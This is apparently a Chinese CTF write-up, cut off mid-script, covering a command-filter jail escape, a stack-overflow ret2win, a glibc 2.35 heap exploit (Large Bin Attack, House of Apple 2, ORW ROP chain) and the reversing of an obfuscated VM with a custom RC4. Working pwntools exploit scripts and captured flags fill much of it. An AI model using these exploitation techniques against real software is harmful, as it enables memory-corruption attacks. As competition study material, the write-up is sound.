      sanjiu@localhost:~$ nc 101.200.152.81 37214\nBabyJail (type 'help')\n$ help\nhelp\nBuiltins: help, echo, pwd, whoami, id, ls, cat, exit\n$ ls\nsanjiu@localhost:~$\nsanjiu@localhost:~$\nsanjiu@localhost:~$\nsanjiu@localhost:~$ nc 101.200.152.81 37214\nBabyJail (type 'help')\n$ ls\nls\nFiltered :)\n$ pwd\npwd\n\/home\/ctf\n$ echo 1\necho 1\n1\n$ cat 1\ncat 1\nFiltered :)\n$ id\nid\nuid=1000(ctf) gid=1000(ctf) groups=1000(ctf)\n$ echo flag\necho flag\nFiltered :)\n$ echo *\necho *\n*\n$ cat flag\ncat flag\nFiltered :)\n$\nsanjiu@localhost:~$\nsanjiu@localhost:~$\nsanjiu@localhost:~$ nc 101.200.152.81 37214\nBabyJail (type 'help')\n$ echo flag\necho flag\nFiltered :)\n$ cat flag\ncat flag\nFiltered :)\n$ echo *\necho *\n*\n$\nsanjiu@localhost:~$ nc 101.200.152.81 37214\nBabyJail (type 'help')\n$ cat flag\ncat flag\nflag{89a5017f-1693-4f32-bb9c-35dcf9b98d34}\n$<\/code><\/pre>\n\n\n\n
      \u5b57\u7b26\u4e32\u8f6c\u4e49\u7ed5\u8fc7<\/p>\n\n\n\n
      \"\"<\/div><\/figure>\n\n\n\n
      flag{89a5017f-1693-4f32-bb9c-35dcf9b98d34}<\/code><\/pre>\n\n\n\n
      signin<\/h3>\n\n\n\n
      \"\"<\/div><\/figure>\n\n\n\n
      \u6f0f\u6d1e\uff1a\u6808\u6ea2\u51fa<\/p>\n\n\n\n
      \u96be\u70b9:\u9700\u8981\u5bfb\u627e\u8df3\u677f\u51fd\u6570\u83b7\u53d6flag<\/p>\n\n\n\n
      IDA \u5206\u6790<\/p>\n\n\n\n
      \u6f0f\u6d1e\u51fd\u6570<\/p>\n\n\n\n
      \u8f93\u5165\u6570\u636e\u8fdc\u8d85\u6808\u7a7a\u95f4\uff0c\u53ef\u4ee5\u8986\u76d6\u6808\u4e0a\u7684 Saved RBP \u548c Return Address\uff0c\u4ece\u800c\u52ab\u6301\u7a0b\u5e8f\u63a7\u5236\u6d41<\/p>\n\n\n\n
      \"\"<\/div><\/figure>\n\n\n\n
      \u9700\u8981\u586b\u5165\u5783\u573e\u6570\u636e\u7684\u91cf\u4e3a<\/p>\n\n\n\n
      0x40+0x08 = 72<\/p>\n\n\n\n
      \"\"<\/div><\/figure>\n\n\n\n
      \"\"<\/div><\/figure>\n\n\n\n
      \u76f4\u63a5\u8df3\u8f6c\u5230 win \u53ef\u80fd\u4f1a\u56e0\u4e3a\u6808\u4e0d\u5bf9\u9f50\u800c\u5931\u8d25<\/p>\n\n\n\n
      \u8df3\u677f\u51fd\u6570\u5730\u5740<\/p>\n\n\n\n
      \"\"<\/div><\/figure>\n\n\n\n
      win \u5730\u5740<\/p>\n\n\n\n
      \"\"<\/div><\/figure>\n\n\n\n
      exp<\/p>\n\n\n\n
      from pwn import *\n\ncontext.arch = \"amd64\"\ncontext.log_level = \"info\"\nconn = remote(\"101.200.152.81\", 39375)\n\nOFFSET = 72\nWIN = 0x4011e7\nRET = 0x401016\n\npayload = b\"A\"*OFFSET + p64(RET) + p64(WIN)\nconn.sendlineafter(b\"Say something to sign in:\", payload)\nconn.interactive()<\/code><\/pre>\n\n\n\n
      \"\"<\/div><\/figure>\n\n\n\n
      flag{afc30cda-442b-4122-a8eb-7610513dc47e}<\/code><\/pre>\n\n\n\n
      \u4e0d\u6253CTF\u6216\u8bb8\u5979\u8fd8\u5728<\/h3>\n\n\n\n
      \u672c\u9898\u73af\u5883\u4e3a Ubuntu 22.04 (glibc 2.35)\u3002\u7a0b\u5e8f\u5b58\u5728 UAF \u6f0f\u6d1e\uff0c\u5141\u8bb8\u5728 chunk free \u540e\u7ee7\u7eed\u7f16\u8f91\u3002 \u5229\u7528\u601d\u8def\u5982\u4e0b<\/p>\n\n\n\n
      \u4fe1\u606f\u6cc4\u9732<\/strong>\uff1a\u5229\u7528 Large Bin \u7684 fd_nextsize \u7b49\u6307\u9488\u7279\u6027\u6cc4\u9732 libc_base \u548c heap_base\u3002<\/p>\n\n\n\n
      \u653b\u51fb\u539f\u8bed<\/strong>\uff1a\u4f7f\u7528 Large Bin Attack<\/strong> \u5411 _IO_list_all \u5199\u5165\u5806\u5730\u5740\uff0c\u52ab\u6301 _IO_list_all \u94fe\u8868\u3002<\/p>\n\n\n\n
      \u63a7\u5236\u6d41\u52ab\u6301<\/strong>\uff1a\u6784\u9020\u4f2a\u9020\u7684 _IO_FILE \u7ed3\u6784\u4f53 (House of Apple 2)\uff0c\u5229\u7528 _IO_wfile_overflow \u8def\u5f84\u914d\u5408 magic_gadget \u52ab\u6301\u6267\u884c\u6d41\u3002<\/p>\n\n\n\n
      ROP<\/strong>\uff1a\u6267\u884c ORW (Open-Read-Write) \u83b7\u53d6 flag<\/p>\n\n\n\n
      from pwn import *\nfrom ctypes import *\nfrom LibcSearcher import *\nfrom ae64 import AE64\n\ncontext(os='linux', arch='amd64', log_level='debug')\n\n# ================= Wrapper Functions =================\ndef s(a):\n    io.send(a)\n\ndef sa(a, b):\n    io.sendafter(a, b)\n\ndef sl(a):\n    io.sendline(a)\n\ndef sla(a, b):\n    io.sendlineafter(a, b)\n\ndef r(a):\n    return io.recv(a)\n\ndef ru(a):\n    return io.recvuntil(a)\n\ndef inter():\n    io.interactive()\n\ndef debug():\n    gdb.attach(io)\n    pause()\n\ndef get_addr():\n    return u64(io.recvuntil(b'\\x7f')[-6:].ljust(8, b'\\x00'))\n\n# ================= IO Setup =================\n# io = remote(\"101.200.152.81\", 34459)\nio = process('.\/pwn')\nelf = ELF('.\/pwn')\nlibc = ELF(\".\/libc.so.6\")\n\n# ================= Heap Operations =================\ndef add(index, size):\n    sla(\"choice:\\n\", str(1))\n    sla(\"go on a date: \\n\", str(index))\n    sla(\"spend with her: \\n\", str(size))\n\ndef free(index):\n    sla(\"choice:\\n\", str(2))\n    sla(\"participate in the CTF: \\n\", str(index))\n\ndef edit(index, size, data):\n    sla(\"choice:\\n\", str(3))\n    sla(\"schedule the date for: \\n\", str(index))\n    sa(\"are your plans for the date: \\n\", data)\n\ndef show(index):\n    sla(\"choice:\\n\", str(4))\n    sla(\"the date details for: \\n\", str(index))\n\n# ==========================================================\n# [Step 1] Heap Layout & Libc Leak\n# ==========================================================\n# \u5e03\u5c40 chunk\uff0c\u5229\u7528 Large Bin \u8303\u56f4 (\u9700 > 0x408)\nadd(0, 0x430)  # \u540e\u7eed\u4f5c\u4e3a Large Bin Attack \u7684\u53d1\u8d77\u8005 (\u653e\u5165 unsorted bin)\nadd(1, 0x410)  # \u9694\u79bb chunk\uff0c\u9632\u6b62\u5408\u5e76\nadd(2, 0x440)  # Large Bin Attack \u7684\u76ee\u6807 chunk (\u7528\u6765\u4f2a\u9020 _IO_FILE)\nadd(3, 0x410)  # \u9694\u79bb chunk\n\n# \u91ca\u653e chunk2 \u8fdb\u5165 Unsorted Bin (\u56e0\u4e24\u8fb9\u6709\u9694\u79bb\uff0c\u4e0d\u4f1a\u5408\u5e76)\nfree(2)\nshow(2)  # \u6b64\u65f6 fd\/bk \u6307\u5411 main_arena\uff0c\u6cc4\u9732 libc \u5730\u5740\n\nlibc_base   = get_addr() - 0x219ce0 - 0x1000\npop_rax     = libc_base + 0x45eb0\npop_rdi     = libc_base + 0x2a3e5\npop_rsi     = libc_base + 0x2be51\npop_rdx_r12 = libc_base + 0x11f2e7\nopen_addr   = libc_base + libc.sym['open']\nread_addr   = libc_base + libc.sym['read']\nwrite_addr  = libc_base + libc.sym['write']\nputs_addr   = libc_base + libc.sym['puts']\nleave_ret   = libc_base + 0x4da83\n\n# Magic Gadget for House of Apple 2 (glibc 2.35)\n# Gadget: mov rdx, [rdi+0xa0]; call [rdx+0x20]\ngadget_addr = libc_base + 0x16A06A\n# 2.35 gadget_addr = libc_base + 0x16a050 + 26\n\nIO_list_all = libc_base + libc.sym[\"_IO_list_all\"]\nwfile       = libc_base + libc.sym['_IO_wfile_jumps']\n\nsuccess(\"libc_base: \"   + hex(libc_base))\nsuccess(\"IO_list_all: \" + hex(IO_list_all))\nsuccess(\"gadget_addr: \" + hex(gadget_addr))\n\n# ==========================================================\n# [Step 2] Heap Addr Leak\n# ==========================================================\nadd(4, 0x450)  # \u7533\u8bf7\u6bd4 chunk2 \u66f4\u5927\u7684\u5757\uff0c\u8feb\u4f7f chunk2 \u4ece Unsorted Bin \u6574\u7406\u5165 Large Bin\n\n# \u7f16\u8f91 chunk2\uff0c\u8986\u76d6 fd (\u524d0x10\u5b57\u8282)\uff0c\u5229\u7528 show \u8f93\u51fa bk\/fd_nextsize \u6cc4\u9732\u5806\u5730\u5740\nedit(2, 0x10, b'a' * 0x10)\nshow(2)\nru(b'a' * 0x10)\nheap_base = u64(io.recv(6).ljust(8, b'\\x00')) - 0xaf0  # \u8ba1\u7b97\u5806\u57fa\u5740\nsuccess(\"heap_base: \" + hex(heap_base))\n\n# ==========================================================\n# [Step 3] Large Bin Attack (Target: _IO_list_all)\n# ==========================================================\nfree(0)  # \u91ca\u653e chunk0 \u8fdb\u5165 Unsorted Bin\n\n# \u4fee\u6539 Large Bin \u4e2d chunk2 \u7684 bk_nextsize \u4e3a target_addr - 0x20\n# \u653b\u51fb\u539f\u7406\uff1a\u5f53 Unsorted Bin \u4e2d\u7684 chunk0 \u88ab\u6574\u7406\u5165 Large Bin \u65f6\uff0c\n# \u4f1a\u6267\u884c victim->bk_nextsize->fd_nextsize = victim\nedit(2, 0x20, p64(0) * 3 + p64(IO_list_all - 0x20))\n\nadd(5, 0x450)\n# \u89e6\u53d1 Large Bin \u6574\u7406\u673a\u5236\uff1achunk0 \u4ece Unsorted Bin \u79fb\u5165 Large Bin\uff0c\n# \u89e6\u53d1\u89e3\u94fe\u64cd\u4f5c\uff0c\u5c06 _IO_list_all \u8986\u76d6\u4e3a\u5806\u5730\u5740 (\u6307\u5411 chunk2)\n\nadd(0, 0x430)\n# \u91cd\u65b0\u7533\u8bf7\u56de chunk0\uff0c\u7528\u4e8e\u540e\u7eed\u5b58\u653e ORW ROP \u94fe\n\n# \u4fee\u590d Large Bin \u7ed3\u6784 (Recover Large Bin)\n# \u624b\u52a8\u4fee\u590d chunk2 \u7684 fd, bk, fd_nextsize, bk_nextsize\uff0c\u9632\u6b62\u540e\u7eed malloc \u5d29\u6e83\nedit(2, 0x20, p64(libc_base + 0x21b0e0) * 2 + p64(heap_base + 0xaf0) * 2)\nadd(2, 0x440)  # \u91cd\u65b0\u7533\u8bf7\u56de chunk2\uff0c\u51c6\u5907\u5199\u5165\u4f2a\u9020\u7684 FILE \u7ed3\u6784\n\norw_addr     = heap_base + 0x2a0    # chunk0 \u7684\u7528\u6237\u6570\u636e\u5730\u5740 (\u5b58\u653e ROP)\nfake_io_addr = heap_base + 0xaf0    # chunk2 \u7684\u5730\u5740 (\u4f2a\u9020\u7684 _IO_FILE)\n\n\n# ==========================================================\n# [Step 4] House of Apple 2 (Fake _IO_FILE)\n# ==========================================================\n# \u6784\u9020\u6ee1\u8db3 _IO_wfile_overflow \u5229\u7528\u8def\u5f84\u7684\u7ed3\u6784\u4f53\nfake_IO_FILE  = p64(0)\nfake_IO_FILE += p64(leave_ret)             # +0x08: \u586b\u5145 leave_ret\nfake_IO_FILE += p64(0)\nfake_IO_FILE += p64(0xffffffffffffffff)    # +0x20: _IO_write_ptr > _IO_write_base (\u7ed5\u8fc7\u68c0\u67e5)\nfake_IO_FILE += p64(0) * 2\nfake_IO_FILE += p64(0)\nfake_IO_FILE += p64(orw_addr)              # +0x48: _chain (\u4f5c\u4e3a rdi \u4f20\u5165 gadget\uff0c\u6307\u5411 ROP \u4f4d\u7f6e)\nfake_IO_FILE += p64(0) * 4\nfake_IO_FILE += p64(0) * 3\nfake_IO_FILE += p64(heap_base + 0x6c0)     # +0x88: _lock (\u6307\u5411\u4efb\u610f\u53ef\u5199\u5185\u5b58\uff0c\u4f8b\u5982 chunk1)\nfake_IO_FILE += p64(0) * 2\nfake_IO_FILE += p64(fake_io_addr + 0xe0)   # +0xa0: _wide_data (rax = [rdi+0xa0]) -> \u6307\u5411 A\nfake_IO_FILE += p64(0)\nfake_IO_FILE += p64(0) * 4\nfake_IO_FILE += p64(0)\nfake_IO_FILE += p64(wfile)                 # +0xd8: vtable (\u6307\u5411 _IO_wfile_jumps)\nfake_IO_FILE += p64(0) * 0x1c\nfake_IO_FILE += p64(fake_io_addr + 0xe0 + 0xe8) # +0xe0 (A): rax \u6307\u5411\u6b64\u5904\uff0c\u5185\u5bb9\u4e3a B \u7684\u5730\u5740\nfake_IO_FILE += p64(0) * 0xd\nfake_IO_FILE += p64(gadget_addr)           # +0xe0+0xe8+0x20 (B+0x20): \u5b58\u653e Magic Gadget \u5730\u5740\n\nedit(2, len(fake_IO_FILE), fake_IO_FILE)\n\n# ==========================================================\n# [Step 5] ORW ROP Chain\n# ==========================================================\n# \u5b58\u653e\u5728 chunk0 \u4e2d\uff0cMagic Gadget \u4f1a\u8df3\u8f6c\u5230\u8fd9\u91cc\u6267\u884c\norw  = b'.\/flag\\x00\\x00'\norw += p64(pop_rdx_r12) + p64(0) + p64(fake_io_addr - 0x10)  # \u6808\u5e73\u8861\u586b\u5145\norw += p64(pop_rdi) + p64(orw_addr)\norw += p64(pop_rsi) + p64(0)\norw += p64(open_addr)          # open('.\/flag', 0)\n\norw += p64(pop_rdi) + p64(3)\norw += p64(pop_rsi) + p64(orw_addr + 0x100)\norw += p64(pop_rdx_r12) + p64(0x50) + p64(0)\norw += p64(read_addr)          # read(3, buffer, 0x50)\n\norw += p64(pop_rdi) + p64(orw_addr + 0x100)\norw += p64(puts_addr)          # puts(buffer)\n\nedit(0, len(orw), orw)\n\n# debug()\n# ==========================================================\n# [Step 6] Trigger Exploit\n# ==========================================================\nsla(\"choice:\\n\", str(5))  # exit() -> _IO_flush_all_lockp -> \u89e6\u53d1\u52ab\u6301\u7684 _IO_list_all\n\nio.interactive()<\/code><\/pre>\n\n\n\n
      py3\u811a\u672c\u5448\u73b0<\/p>\n\n\n\n
      \"\"<\/div><\/figure>\n\n\n\n
      flag{ffa271dc-77aa-4191-9704-e7843badd92c}<\/code><\/pre>\n\n\n\n
      Reverse<\/h2>\n\n\n\n
      lowre<\/h3>\n\n\n\n
      \"\"<\/div><\/figure>\n\n\n\n
      \u62ff\u5230\u9898\u76ee\u8fdb\u884c\u67e5\u58f3\uff0c\u53d1\u73b0\u6ca1\u6709\u52a0\u58f3\u548c\u52a0\u5bc6<\/p>\n\n\n\n
      \"\"<\/div><\/figure>\n\n\n\n
      \u8fdb\u884cida\u67e5\u770b<\/p>\n\n\n\n
      \u53d1\u73b0main\u51fd\u6570\uff0c\u5206\u6790\u53d1\u73b0\u903b\u8f91\u52a0\u5bc6<\/p>\n\n\n\n
      \"\"<\/div><\/figure>\n\n\n\n
      \u8fd9\u91cc\u6700\u591a\u8bfb\u5165256\u7684\u5b57\u8282<\/p>\n\n\n\n
      \u7ecf\u4ee3\u7801\u5206\u6790\uff0cderive_vm_seed()\u4e5f\u662f\u6ce8\u610f\u8981\u7684\u51fd\u6570\u52a0\u5bc6\uff0ccheck_len_alt_impl\u548ccheck_len_impl\u8981\u6c4279\u5b57\u8282\uff0crun_and_verify_impl\u662fvm\u7684\u6838\u5fc3<\/p>\n\n\n\n
      \u8fdb\u51fd\u6570\u7ee7\u7eed\u5206\u6790<\/p>\n\n\n\n
      \u91cc\u9762\u662f\u67e5\u770b\u6bd4\u8f83\u79ef\u7d2f\u7684\u53d8\u91cf\u503c\u662f\u5426\u56fa\u5b9a<\/p>\n\n\n\n
      \"\"<\/div><\/figure>\n\n\n\n
      \u5206\u6790rum_vm_inner\u51fd\u6570\uff0c\u53d1\u73b0\u8fd9\u91cc\u662f\u6df7\u6dc6\u7684\u865a\u62df\u673a<\/p>\n\n\n\n
      \u8fdb\u884crun_ir\u51fd\u6570\u5206\u6790<\/p>\n\n\n\n
      \"\"<\/div><\/figure>\n\n\n\n
      \u5bc4\u5b58\u5668<\/th>\u7c7b\u578b<\/th>\u8bf4\u660e<\/th><\/tr><\/thead>
      v6<\/code><\/td>unsigned int<\/code><\/td>\u7d22\u5f15\u5bc4\u5b58\u5668<\/strong>\uff0816\u4f4d\u6709\u6548\uff09\uff0c\u7528\u4e8e\u8bbf\u95ee\u8f93\u5165\/\u5e38\u91cf\u6570\u7ec4<\/td><\/tr>
      v7<\/code><\/td>unsigned char<\/code><\/td>\u5de5\u4f5c\u5bc4\u5b58\u56681<\/strong>\uff08\u8f93\u5165\u6570\u636e\u76f8\u5173\uff09<\/td><\/tr>
      v8<\/code><\/td>__int16<\/code><\/td>\u5faa\u73af\u8ba1\u6570\u5668<\/strong>\uff08\u7528\u4e8e\u63a7\u5236\u5faa\u73af\uff09<\/td><\/tr>
      v9<\/code><\/td>char<\/code><\/td>\u5de5\u4f5c\u5bc4\u5b58\u56682<\/strong>\uff08\u5e38\u91cf\u6570\u636e\u76f8\u5173\uff09<\/td><\/tr>
      *a6<\/code><\/td>_DWORD*<\/code><\/td>\u5916\u90e8\u7d2f\u52a0\u5668<\/strong>\uff08\u5b58\u50a8\u6700\u7ec8\u6821\u9a8c\u503c\uff09<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n
      0x01-\u521d\u59cb\u5316vm\u72b6\u6001\uff0c\u4e00\u822c\u7a0b\u5e8f\u5f00\u59cb\u65f6\u4f7f\u7528<\/p>\n\n\n\n
      0x10-\u4ece\u8f93\u5165\u52a0\u8f7d\u9053R1<\/p>\n\n\n\n
      0x11-\u5e38\u91cf\u52a0\u8f7d\u5230R3<\/p>\n\n\n\n
      0x20-R1\u5f02\u6216\u7acb\u5373\u6570<\/p>\n\n\n\n
      0x30-\u590d\u6742\u52a0\u6cd5<\/p>\n\n\n\n
      0x40-\u66f4\u65b0\u7d2f\u52a0\u5668<\/p>\n\n\n\n
      \u8df3\u8f6c\u6307\u4ee4<\/p>\n\n\n\n
      0x61-\u9012\u51cf\u6280\u672f\u5668<\/p>\n\n\n\n
      0x70-\u6761\u4ef6\u8df3\u8f6c<\/p>\n\n\n\n
      \u6bd4\u8f83\u6307\u4ee4<\/p>\n\n\n\n
      0x50-\u6838\u5fc3\u6821\u9a8c\u70b9<\/p>\n\n\n\n
      0x60-\u589e\u52a0\u7d22\u5f15<\/p>\n\n\n\n
      0xFF-\u6210\u529f\u7ed3\u675f<\/p>\n\n\n\n
      \u6267\u884c\u6838\u5fc3\u64cd\u4f5c\uff1ar11 = input[i] ^ 0xAA \u4e0e r12 = flag_buf[i]<\/p>\n\n\n\n
      \u53d1\u73b0\u8fd9\u91cc\u662fvm\u7684\u5177\u4f53\u903b\u8f91<\/p>\n\n\n\n
      seed\u903b\u8f91\u5728<\/p>\n\n\n\n
      \"\"<\/div><\/figure>\n\n\n\n
      \u8fd9\u662f\u8ba1\u7b97\u903b\u8f91\u5229\u7528 IR \u6307\u4ee4\u6d41\u4e0e rc4_blob\u3001seg_rk_0 \u6eda\u52a8\u8ba1\u7b97<\/p>\n\n\n\n
      \u8ba1\u7b97\u7ed3\u679c\uff1a\u5f97\u5230\u7684 seed\uff080xFDCB535D\uff09<\/p>\n\n\n\n
      \u6784\u9020\u8fd8\u539f<\/p>\n\n\n\n
      \"\"<\/div><\/figure>\n\n\n\n
      \u53d1\u73b0\u51fd\u6570\u91cc\u9762\u6709\u5185\u5b58\u521d\u59cb\u5316\uff0879\u5b57\u8282\uff09<\/p>\n\n\n\n
      \u4e09\u9636\u6bb5\uff0c\u5bc6\u94a5\uff0c\u53d8\u5f02 RC4 \u89e3\u5bc6\uff1a<\/p>\n\n\n\n
      KSA\uff1a\u6ce8\u610f S \u76d2\u4ea4\u6362\u903b\u8f91\u4fee\u6539\u4e3a S[v7] = v7 ^ tmp\u3002<\/p>\n\n\n\n
      PRGA\uff1a\u6b65\u957f\u4e3a 3\uff0c\u751f\u6210\u7684\u5bc6\u94a5\u6d41\u4e0e\u7d22\u5f15 i\u53ca S \u76d2\u8f93\u51fa\u5f02\u6216\uff0c\u672b\u5c3e\u6df7\u6dc6\u53d8\u5316<\/p>\n\n\n\n
      flag\u8fd8\u539f\uff0c\u5168\u4f53\u6210\u5458\u5f02\u6216 0xAA<\/p>\n\n\n\n
      import struct\nfrom typing import List, Callable, ByteString\n\nPROGRAM_METADATA = [0x5A, 0xDB, 0xDA, 0xD5, 0xA5, 0xDB, 0x5B, 0x2A, 0xD8, 0x3B, 0xDB, 0x3A, 0xDB, 0x0A, 0xDB, 0x1A, 0xDB, 0x6A, 0xDB, 0xDA, 0xF0, 0x7A, 0xD8, 0x4B, 0xDB, 0x4A, 0xDB, 0xDA, 0x5B, 0xDB, 0xDA]\nSEGMENT_KEY = [0x7A, 0x9C, 0x23, 0x51, 0xB4, 0x6F, 0xD8, 0x02, 0x39, 0xE1, 0x47, 0xAC, 0x15, 0x8B, 0xD2, 0x60]\nENTROPY_POOL = [0xF3, 0x8A, 0x21, 0xC4, 0x5B, 0x19, 0x7E, 0xD2, 0x34, 0x8F, 0xA1, 0x6C, 0x92, 0x0D, 0x73, 0xE8, 0x1A, 0xB5, 0x4C, 0xF7, 0x2E, 0x89, 0xD0, 0x3B, 0x65, 0x9C, 0x07, 0xFA, 0x41, 0xAE, 0x18, 0xD3]\nAUTH_KEY_BASE = [0x13, 0x57, 0x9B, 0xDF, 0x20, 0x46, 0x8A, 0xCE]\n\nVECTOR_P1 = [0x34, 0x64, 0xD7, 0x21, 0x99, 0x30, 0x04, 0x5B, 0xF7, 0xB8, 0x0B, 0x5B, 0x3F, 0xCE, 0x3C, 0x0F]\nVECTOR_P2 = [0x76, 0x25, 0x4A, 0xEB, 0x9D, 0xEA, 0xD8, 0x50, 0xD6, 0xC2, 0x11, 0x21, 0x8A, 0xCB, 0x08, 0x9D]\nVECTOR_P3 = [0x4B, 0x00, 0x7E, 0xBB, 0x36, 0xBF, 0x7D, 0xCB, 0xA2, 0x5A, 0x66, 0x2F, 0x6B, 0x7C, 0x36, 0xC0]\nVECTOR_P4 = [0xF5, 0x32, 0x5F, 0x79, 0xA0, 0x7F, 0x0C, 0x4A, 0xC4, 0x10, 0x72, 0x61, 0x75, 0x7E, 0x42, 0x21]\n\nMAX_META_PTR = 0x1E\nMAX_COUNT = 0x20\nMAX_IR_LIMIT = 32\nWORKSPACE_SIZE = 79\nSEGMENT_KEY_MASK = 0xF\nENTROPY_POOL_MASK = 0x1F\nROTATE_SHIFT = 7\nINITIAL_STATE = 826366246\nINITIAL_RK_VAL = 122\nINITIAL_MASK_BYTE = (-13) & 0xFF\nOFFSET_INCREMENT = 13\nXOR_VALUE = 0x5A\nFINAL_XOR_VALUE = 0xAA\n\nBYTE_SHIFT = 8\nHALF_BYTE_SHIFT = 4\nFULL_BYTE_MASK = 0xFF\nDWORD_MASK = 0xFFFFFFFF\n\nXOR_VALUES = [0x11, 0x22, 0x33]\nXOR_RANGES = [(0, 5), (5, 51), (51, 79)]\n\ndef bit_rol(value: int, shift: int) -> int:\n    return ((value << shift) & DWORD_MASK) | (value >> (32 - shift))\n\ndef extract_opcodes(raw_meta: List[int]) -> List[int]:\n    opcode_stream = []\n    ptr = 0\n    count = 0\n\n    while True:\n        if ptr > MAX_META_PTR or count == MAX_COUNT:\n            break\n\n        tag = raw_meta[ptr]\n\n        if tag == 0x82:\n            if ptr + 2 > MAX_META_PTR or count == 0x1F:\n                break\n            opcode_stream.extend(raw_meta[ptr + 1 : ptr + 3])\n            count += 2\n            ptr += 3\n        elif tag > 0x82:\n            break\n        elif tag == 0x80:\n            ptr += 1\n        elif tag == 0x81:\n            if ptr + 1 == 0x1F:\n                break\n            opcode_stream.append(raw_meta[ptr + 1])\n            count += 1\n            ptr += 2\n        else:\n            break\n\n    return opcode_stream\n\ndef parse_to_ir(opcodes: List[int]) -> List[int]:\n    if not opcodes:\n        return []\n\n    ir_list = []\n    current_op = opcodes[0]\n    idx = 1\n    jump_ptr = 0\n    limit = 0\n\n    while limit < MAX_IR_LIMIT:\n        ir_list.extend([current_op, 0, 0])\n        limit += 1\n\n        if current_op in (32, 112):\n            if idx >= len(opcodes):\n                break\n\n            jump_ptr += 2\n            current_op = opcodes[idx]\n            ir_list[-2] = current_op\n            ir_list[-1] = 1\n            if jump_ptr >= len(opcodes):\n                break\n        else:\n            jump_ptr = idx\n\n        if idx >= len(opcodes):\n            break\n\n        idx = jump_ptr + 1\n        current_op = opcodes[jump_ptr]\n\n    return ir_list\n\ndef generate_context_seed(ir_blocks: List[int]) -> int:\n    state = INITIAL_STATE\n    offset = 0\n    rk_val = INITIAL_RK_VAL\n    mask_byte = INITIAL_MASK_BYTE\n    step_count = 0\n    blob_ptr = 1\n    block_count = len(ir_blocks) \/\/ 3\n\n    for i in range(block_count):\n        cmd, param, flag = ir_blocks[i*3 : i*3+3]\n\n        term = step_count ^ cmd\n        if flag:\n            term ^= param\n\n        step_count += 1\n        state = bit_rol(\n            (state ^ (257 * ((term ^ rk_val ^ mask_byte) & FULL_BYTE_MASK) + offset)) & DWORD_MASK,\n            ROTATE_SHIFT\n        )\n        offset += OFFSET_INCREMENT\n\n        if step_count == block_count:\n            break\n\n        mask_byte = ENTROPY_POOL[blob_ptr] if blob_ptr < len(ENTROPY_POOL) else mask_byte\n        blob_ptr += 1\n        rk_val = SEGMENT_KEY[step_count & SEGMENT_KEY_MASK]\n\n    return state & DWORD_MASK\n\ndef derive_session_key(length: int) -> bytes:\n    buffer = []\n    base_val = 12\n    accumulator = length\n    counter = 0\n    p1 = 42\n    p2 = 19\n    fix_val = length\n\n    while counter < 8:\n        m1 = 31 * (length \/\/ 31)\n        m2 = length\n        length += 3\n\n        mix = accumulator ^ PROGRAM_METADATA[m2 - m1]\n        accumulator += fix_val\n\n        buffer.append((p1 ^ p2 ^ mix) & FULL_BYTE_MASK)\n        counter += 1\n\n        if counter < 8:\n            p2 = AUTH_KEY_BASE[counter]\n            idx_val = 31 * (base_val \/\/ 31)\n            save_val = base_val\n            base_val += 5\n            p1 = PROGRAM_METADATA[save_val - idx_val]\n\n    return bytes(buffer)\n\ndef custom_shuffle_cipher(payload: ByteString, key: bytes) -> bytes:\n    payload = bytearray(payload)\n    s_box = list(range(256))\n    j = 0\n\n    for i in range(256):\n        j = (j + s_box[i] + key[i & 7]) & FULL_BYTE_MASK\n        old_i = s_box[i]\n        s_box[i] = s_box[j]\n        s_box[j] = j ^ old_i\n\n    x = y = 0\n    pos = 0\n    payload_len = len(payload)\n\n    while pos < payload_len:\n        x = (x + 3) & FULL_BYTE_MASK\n        val_x = s_box[x]\n        y = (y + val_x + 1) & FULL_BYTE_MASK\n\n        s_box[x], s_box[y] = s_box[y], s_box[x]\n\n        secret = s_box[(s_box[x] + val_x) & FULL_BYTE_MASK]\n        payload[pos] ^= pos ^ secret\n        pos += 1\n\n    return bytes(payload)\n\ndef transform_layer_alpha(data: bytearray, seed: int) -> None:\n    v_a = seed >> HALF_BYTE_SHIFT\n    v_b = seed & 0xF\n\n    for i in range(WORKSPACE_SIZE):\n        data[i] ^= (SEGMENT_KEY[v_a & SEGMENT_KEY_MASK] ^ \n                   ENTROPY_POOL[v_b & ENTROPY_POOL_MASK] ^ \n                   ((seed >> (i & 7)) & FULL_BYTE_MASK))\n        v_b = (v_b + 3) & DWORD_MASK\n        v_a = (v_a + 5) & DWORD_MASK\n\ndef transform_layer_beta(data: bytearray, seed: int) -> None:\n    v_a = seed >> 9\n    v_b = seed >> 3\n    cycle = 0\n\n    for i in range(WORKSPACE_SIZE):\n        data[i] ^= (((seed >> (cycle & 7)) & FULL_BYTE_MASK) ^ \n                   ((ENTROPY_POOL[v_a & ENTROPY_POOL_MASK] + \n                     SEGMENT_KEY[v_b & SEGMENT_KEY_MASK]) & FULL_BYTE_MASK))\n        v_a = (v_a + 7) & DWORD_MASK\n        v_b = (v_b + 11) & DWORD_MASK\n        cycle += 3\n\n        if cycle == 237:\n            break\n\ndef transform_layer_gamma(data: bytearray, seed: int) -> None:\n    v_a = seed >> HALF_BYTE_SHIFT\n    v_b = seed & 0xF\n    v_c = seed >> 9\n    v_d = seed >> 3\n\n    for i in range(WORKSPACE_SIZE):\n        tmp = (ENTROPY_POOL[v_b & ENTROPY_POOL_MASK] ^ \n               ((seed >> (i & 7)) & FULL_BYTE_MASK)) & FULL_BYTE_MASK\n        tmp = (SEGMENT_KEY[v_a & SEGMENT_KEY_MASK] ^ data[i] ^ tmp) & FULL_BYTE_MASK\n\n        mix = (ENTROPY_POOL[v_c & ENTROPY_POOL_MASK] + \n               SEGMENT_KEY[v_d & SEGMENT_KEY_MASK]) & FULL_BYTE_MASK\n        tmp ^= mix\n\n        data[i] = ((seed >> ((3 * i) & 7)) ^ tmp) & FULL_BYTE_MASK\n\n        v_b = (v_b + 3) & DWORD_MASK\n        v_a = (v_a + 5) & DWORD_MASK\n        v_c = (v_c + 7) & DWORD_MASK\n        v_d = (v_d + 11) & DWORD_MASK\n\ndef initialize_workspace() -> bytearray:\n    workspace = bytearray(WORKSPACE_SIZE)\n\n    workspace[0:16] = bytes(VECTOR_P1)\n    workspace[16:32] = bytes(VECTOR_P2)\n    workspace[32:48] = bytes(VECTOR_P3)\n    workspace[48:64] = bytes(VECTOR_P4)\n\n    workspace[64:72] = (0x7F9E9295CE4E4791).to_bytes(8, 'little')\n    workspace[72:76] = (0x70E8CBC7).to_bytes(4, 'little')\n    workspace[76:78] = (0xC51F).to_bytes(2, 'little')\n    workspace[78] = 0x61\n\n    return workspace\n\ndef reconstruct_flag() -> bytes:\n    meta_src = [((-38) & FULL_BYTE_MASK) ^ 